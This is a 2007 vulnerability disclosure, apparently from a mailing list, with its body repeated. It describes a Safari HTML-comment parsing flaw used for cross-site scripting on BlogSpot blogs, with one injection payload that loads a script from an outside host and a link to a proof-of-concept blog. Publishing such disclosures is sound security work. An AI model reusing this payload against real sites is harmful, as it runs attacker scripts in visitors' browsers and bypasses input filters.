Jose Avila III
23/01/07, 23:10
Overview:
Safari on occasions may improperly parse the source of an HTML =20
document, which can lead to the execution of html tags within =20
comments. This can become dangerous when input filters allow html =20
tags within comments, as they will get parsed and executed under =20
certain circumstances.
Details:
In some cases you can cause Apple=92s Safari browser to execute code =20
when it should not be executed. In the following example everything =20
within the comment, in theory should never be executed; however, =20
safari decides to execute the script tag.
<title>myblog<!--</title></head><body><script src=3Dhttp://beanfuzz.com/=20=
bean.js> --></title>
Blogs hosted on BlogSpot.com have filter mechanisms for their input; =20
however, they will allow you to inject anything within comments. This =20=
made it possible to cross site script blogspot.com. Note: Only Safari =20=
viewers will be affected.
Proof of concept: http://dirtybean1234.blogspot.com/
Initial release of vulnerability: http://www.beanfuzz.com/wordpress/?=20
p=3D99
Vendor Response:
I was unable to get a response from the vendor in regards to this issue
Questions / Comments:
Jose (at) onzra (dot) com
----
Register for my RSA 2007 Training Course
"Creative Web Protocol Attacks, Beyond Web Hacking"
February 4, 5 2007 San Francisco
https://cm.rsaconference.com/US07/catalog/eventguide/publicSchedule.jsp
Safari on occasions may improperly parse the source of an HTML =20
document, which can lead to the execution of html tags within =20
comments. This can become dangerous when input filters allow html =20
tags within comments, as they will get parsed and executed under =20
certain circumstances.
Details:
In some cases you can cause Apple=92s Safari browser to execute code =20
when it should not be executed. In the following example everything =20
within the comment, in theory should never be executed; however, =20
safari decides to execute the script tag.
<title>myblog<!--</title></head><body><script src=3Dhttp://beanfuzz.com/=20=
bean.js> --></title>
Blogs hosted on BlogSpot.com have filter mechanisms for their input; =20
however, they will allow you to inject anything within comments. This =20=
made it possible to cross site script blogspot.com. Note: Only Safari =20=
viewers will be affected.
Proof of concept: http://dirtybean1234.blogspot.com/
Initial release of vulnerability: http://www.beanfuzz.com/wordpress/?=20
p=3D99
Vendor Response:
I was unable to get a response from the vendor in regards to this issue
Questions / Comments:
Jose (at) onzra (dot) com
----
Register for my RSA 2007 Training Course
"Creative Web Protocol Attacks, Beyond Web Hacking"
February 4, 5 2007 San Francisco
https://cm.rsaconference.com/US07/catalog/eventguide/publicSchedule.jsp